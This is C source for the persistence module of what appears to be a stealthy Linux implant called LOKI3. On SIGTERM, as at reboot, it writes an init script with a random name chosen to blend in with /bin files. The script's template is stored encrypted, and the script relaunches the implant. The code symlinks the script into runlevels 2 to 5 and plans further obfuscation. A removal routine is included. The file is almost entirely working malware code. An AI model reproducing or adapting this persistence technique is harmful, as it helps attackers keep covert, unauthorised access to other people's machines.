1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
|
/*
* LOKI3
*
* [ persistence.h ]
*
* 2019 and beyond Elective Surgery [dmfr]
*/
#ifdef PERSISTENCE
#include "loki.h"
#include "persistence.h"
extern estring S_SYSV_SERVICE;
/*
* Generate a random string.
* Used the character set because it blended in with files in /bin:
* % strings * |grep ABC |sort |uniq -c |sort -n
* ...snip...
* 257 0123456789ABCDEF <--- pretty common alphanumeric string.
*/
static void random_string(char *dst, size_t len) {
char character_set[] = "0123456789ABCDEF";
while (len--) {
*dst++ = character_set[rand() % (sizeof(character_set) - 1)];
}
*dst = '\0';
}
static void random_string_range(char *dst, size_t lower, size_t upper) {
int len;
len = (rand() % (upper - lower + 1)) + lower;
random_string(dst, len);
}
/*
* SIGTERM handler. This will be caught when the `reboot` command is
* issued, or `kill our_pid_here`.
*
* This persistence sets up a SysV service when SIGTERM is caught. reboot
* and init 6 first attempt to send all process the SIGTERM signal so they
* may gracefully exit. We take advantage of this and gracefully exit by
* installing persistence.
*/
void handle_sigterm(int signo) {
/* create init script and symlinks */
FILE *fp;
char self[PATH_MAX + 1];
char service_name[16];
char str[8192];
char *dbuf;
size_t n;
random_string_range(service_name, 4, sizeof(service_name));
fp = fopen(INIT_SCRIPT, "w+"); // TODO obfuscate this
if (fp == NULL) {
perror("fopen");
return;
}
n = readlink("/proc/self/exe", self, sizeof(self));
if (n == -1) {
perror("readlink");
return;
}
dbuf = decrypt(S_SYSV_SERVICE);
snprintf(str, sizeof(str), dbuf,
/* "#!/bin/sh\n" */
/* "### BEGIN INIT INFO\n" */
/* "# Provides: %s\n" */
/* "# Default-Start: 2 3 4 5\n" */
/* "# Default-Stop: 0 1 6\n" */
/* "# Short-Description: %s\n" */
/* "# Description: %s\n" */
/* "### END INIT INFO\n\n" */
/* "case \"$1\" in\n" */
/* " start)\n" */
/* " %s &\n" */
/* " ;;\n" */
/* "esac\n" */
/* "exit 0\n", */
service_name, service_name, service_name, self);
destroy(dbuf, S_SYSV_SERVICE.size);
fputs(str, fp);
// TODO error checking
chmod(INIT_SCRIPT, S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP | S_IROTH | S_IXOTH);
symlink(INIT_SCRIPT, "/etc/rc2.d/" PRIORITY); // TODO obfuscate these
symlink(INIT_SCRIPT, "/etc/rc3.d/" PRIORITY);
symlink(INIT_SCRIPT, "/etc/rc4.d/" PRIORITY);
symlink(INIT_SCRIPT, "/etc/rc5.d/" PRIORITY);
fclose(fp);
}
/*
* Remove persistence files and symlinks.
*/
void unlink_persistence() {
// TODO error checking
unlink(INIT_SCRIPT);
unlink("/etc/rc2.d/" PRIORITY);
unlink("/etc/rc3.d/" PRIORITY);
unlink("/etc/rc4.d/" PRIORITY);
unlink("/etc/rc5.d/" PRIORITY);
}
#endif /* PERSISTENCE */
|